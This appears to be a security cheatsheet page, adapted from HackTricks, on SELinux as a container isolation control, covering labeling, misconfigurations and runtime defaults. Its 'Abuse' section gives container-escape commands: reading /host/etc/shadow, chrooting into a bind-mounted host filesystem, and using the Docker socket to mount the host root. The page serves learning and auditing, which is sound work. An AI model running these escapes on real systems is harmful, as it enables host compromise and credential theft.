daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

selinux.md (10649B)


      1 ---
      2 title: "SELinux"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/protections/selinux.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/protections/selinux.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SELinux
     14 
     15 ## Overview
     16 
     17 SELinux is a **label-based Mandatory Access Control** system. Every relevant process and object may carry a security context, and policy decides which domains may interact with which types and in what way. In containerized environments, this usually means that the runtime launches the container process under a confined container domain and labels the container content with corresponding types. If the policy is working properly, the process may be able to read and write the things its label is expected to touch while being denied access to other host content, even if that content becomes visible through a mount.
     18 
     19 This is one of the most powerful host-side protections available in mainstream Linux container deployments. It is especially important on Fedora, RHEL, CentOS Stream, OpenShift, and other SELinux-centric ecosystems. In those environments, a reviewer who ignores SELinux will often misunderstand why an obvious-looking path to host compromise is actually blocked.
     20 
     21 ## AppArmor Vs SELinux
     22 
     23 The easiest high-level difference is that AppArmor is path-based while SELinux is **label-based**. That has big consequences for container security. A path-based policy may behave differently if the same host content becomes visible under an unexpected mount path. A label-based policy instead asks what the object's label is and what the process domain may do to it. This does not make SELinux simple, but it does make it robust against a class of path-trick assumptions that defenders sometimes accidentally make in AppArmor-based systems.
     24 
     25 Because the model is label-oriented, container volume handling and relabeling decisions are security-critical. If the runtime or operator changes labels too broadly to "make mounts work", the policy boundary that was supposed to contain the workload may become much weaker than intended.
     26 
     27 ## Lab
     28 
     29 To see whether SELinux is active on the host:
     30 
     31 ```bash
     32 getenforce 2>/dev/null
     33 sestatus 2>/dev/null
     34 ```
     35 
     36 To inspect existing labels on the host:
     37 
     38 ```bash
     39 ps -eZ | head
     40 ls -Zd /var/lib/containers 2>/dev/null
     41 ls -Zd /var/lib/docker 2>/dev/null
     42 ```
     43 
     44 To compare a normal run with one where labeling is disabled:
     45 
     46 ```bash
     47 podman run --rm fedora cat /proc/self/attr/current
     48 podman run --rm --security-opt label=disable fedora cat /proc/self/attr/current
     49 ```
     50 
     51 On an SELinux-enabled host, this is a very practical demonstration because it shows the difference between a workload running under the expected container domain and one that has been stripped of that enforcement layer.
     52 
     53 ## Runtime Usage
     54 
     55 Podman is particularly well aligned with SELinux on systems where SELinux is part of the platform default. Rootless Podman plus SELinux is one of the strongest mainstream container baselines because the process is already unprivileged on the host side and is still confined by MAC policy. Docker can also use SELinux where supported, although administrators sometimes disable it to work around volume-labeling friction. CRI-O and OpenShift rely heavily on SELinux as part of their container isolation story. Kubernetes can expose SELinux-related settings too, but their value obviously depends on whether the node OS actually supports and enforces SELinux.<sup>[[2]](#references)</sup>
     56 
     57 The recurring lesson is that SELinux is not an optional garnish. In the ecosystems that are built around it, it is part of the expected security boundary.
     58 
     59 ## Misconfigurations
     60 
     61 The classic mistake is `label=disable`. Operationally, this often happens because a volume mount was denied and the quickest short-term answer was to remove SELinux from the equation instead of fixing the labeling model.<sup>[[1]](#references)</sup> Another common mistake is incorrect relabeling of host content. Broad relabel operations may make the application work, but they can also expand what the container is allowed to touch far beyond what was originally intended.
     62 
     63 It is also important not to confuse **installed** SELinux with **effective** SELinux. A host may support SELinux and still be in permissive mode, or the runtime may not be launching the workload under the expected domain. In those cases the protection is much weaker than the documentation might suggest.
     64 
     65 ## Abuse
     66 
     67 When SELinux is absent, permissive, or broadly disabled for the workload, host-mounted paths become much easier to abuse. The same bind mount that would otherwise have been constrained by labels may become a direct avenue to host data or host modification. This is especially relevant when combined with writable volume mounts, container runtime directories, or operational shortcuts that exposed sensitive host paths for convenience.
     68 
     69 SELinux often explains why a generic breakout writeup works immediately on one host but fails repeatedly on another even though the runtime flags look similar. The missing ingredient is frequently not a namespace or a capability at all, but a label boundary that stayed intact.
     70 
     71 The fastest practical check is to compare the active context and then probe mounted host paths or runtime directories that would normally be label-confined:
     72 
     73 ```bash
     74 getenforce 2>/dev/null
     75 cat /proc/self/attr/current
     76 find / -maxdepth 3 -name '*.sock' 2>/dev/null | grep -E 'docker|containerd|crio'
     77 find /host -maxdepth 2 -ls 2>/dev/null | head
     78 ```
     79 
     80 If a host bind mount is present and SELinux labeling has been disabled or weakened, information disclosure often comes first:
     81 
     82 ```bash
     83 ls -la /host/etc 2>/dev/null | head
     84 cat /host/etc/passwd 2>/dev/null | head
     85 cat /host/etc/shadow 2>/dev/null | head
     86 ```
     87 
     88 If the mount is writable and the container is effectively host-root from the kernel's point of view, the next step is to test controlled host modification rather than guessing:
     89 
     90 ```bash
     91 touch /host/tmp/selinux_test 2>/dev/null && echo "host write works"
     92 ls -l /host/tmp/selinux_test 2>/dev/null
     93 ```
     94 
     95 On SELinux-capable hosts, losing labels around runtime state directories can also expose direct privilege-escalation paths:
     96 
     97 ```bash
     98 find /host/var/run /host/run -maxdepth 2 -name '*.sock' 2>/dev/null
     99 find /host/var/lib -maxdepth 3 \( -name docker -o -name containers -o -name containerd \) 2>/dev/null
    100 ```
    101 
    102 These commands do not replace a full escape chain, but they make it clear very quickly whether SELinux is what was preventing host data access or host-side file modification.
    103 
    104 ### Full Example: SELinux Disabled + Writable Host Mount
    105 
    106 If SELinux labeling is disabled and the host filesystem is mounted writable at `/host`, a full host escape becomes a normal bind-mount abuse case:
    107 
    108 ```bash
    109 getenforce 2>/dev/null
    110 cat /proc/self/attr/current
    111 touch /host/tmp/selinux_escape_test
    112 chroot /host /bin/bash 2>/dev/null || /host/bin/bash -p
    113 ```
    114 
    115 If the `chroot` succeeds, the container process is now operating from the host filesystem:
    116 
    117 ```bash
    118 id
    119 hostname
    120 cat /etc/passwd | tail
    121 ```
    122 
    123 ### Full Example: SELinux Disabled + Runtime Directory
    124 
    125 If the workload can reach a runtime socket once labels are disabled, the escape can be delegated to the runtime:
    126 
    127 ```bash
    128 find /host/var/run /host/run -maxdepth 2 -name '*.sock' 2>/dev/null
    129 docker -H unix:///host/var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null
    130 ctr --address /host/run/containerd/containerd.sock images ls 2>/dev/null
    131 ```
    132 
    133 The relevant observation is that SELinux often was the control preventing exactly this kind of host-path or runtime-state access.
    134 
    135 ## Checks
    136 
    137 The goal of the SELinux checks is to confirm that SELinux is enabled, identify the current security context, and see whether the files or paths you care about are actually label-confined.
    138 
    139 ```bash
    140 getenforce                              # Enforcing / Permissive / Disabled
    141 ps -eZ | grep -i container              # Process labels for container-related processes
    142 ls -Z /path/of/interest                 # File or directory labels on sensitive paths
    143 cat /proc/self/attr/current             # Current process security context
    144 ```
    145 
    146 What is interesting here:
    147 
    148 - `getenforce` should ideally return `Enforcing`; `Permissive` or `Disabled` changes the meaning of the whole SELinux section.
    149 - If the current process context looks unexpected or too broad, the workload may not be running under the intended container policy.
    150 - If host-mounted files or runtime directories have labels that the process can access too freely, bind mounts become much more dangerous.
    151 
    152 When reviewing a container on an SELinux-capable platform, do not treat labeling as a secondary detail. In many cases it is one of the main reasons the host is not already compromised.
    153 
    154 ## Runtime Defaults
    155 
    156 | Runtime / platform | Default state | Default behavior | Common manual weakening |
    157 | --- | --- | --- | --- |
    158 | Docker Engine | Host-dependent | SELinux separation is available on SELinux-enabled hosts, but the exact behavior depends on host/daemon configuration | `--security-opt label=disable`, broad relabeling of bind mounts, `--privileged` |
    159 | Podman | Commonly enabled on SELinux hosts | SELinux separation is a normal part of Podman on SELinux systems unless disabled | `--security-opt label=disable`, `label=false` in `containers.conf`, `--privileged` |
    160 | Kubernetes | Not generally assigned automatically at Pod level | SELinux support exists, but Pods usually need `securityContext.seLinuxOptions` or platform-specific defaults; runtime and node support are required | weak or broad `seLinuxOptions`, running on permissive/disabled nodes, platform policies that disable labeling |
    161 | CRI-O / OpenShift style deployments | Commonly relied on heavily | SELinux is often a core part of the node isolation model in these environments | custom policies that over-broaden access, disabling labeling for compatibility |
    162 
    163 SELinux defaults are more distribution-dependent than seccomp defaults. On Fedora/RHEL/OpenShift-style systems, SELinux is often central to the isolation model. On non-SELinux systems, it is simply absent.
    164 
    165 ## References
    166 
    167 - [1] [Podman Documentation: --security-opt=option (label=disable)](https://docs.podman.io/en/v4.6.0/markdown/options/security-opt.html)
    168 - [2] [Kubernetes: Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)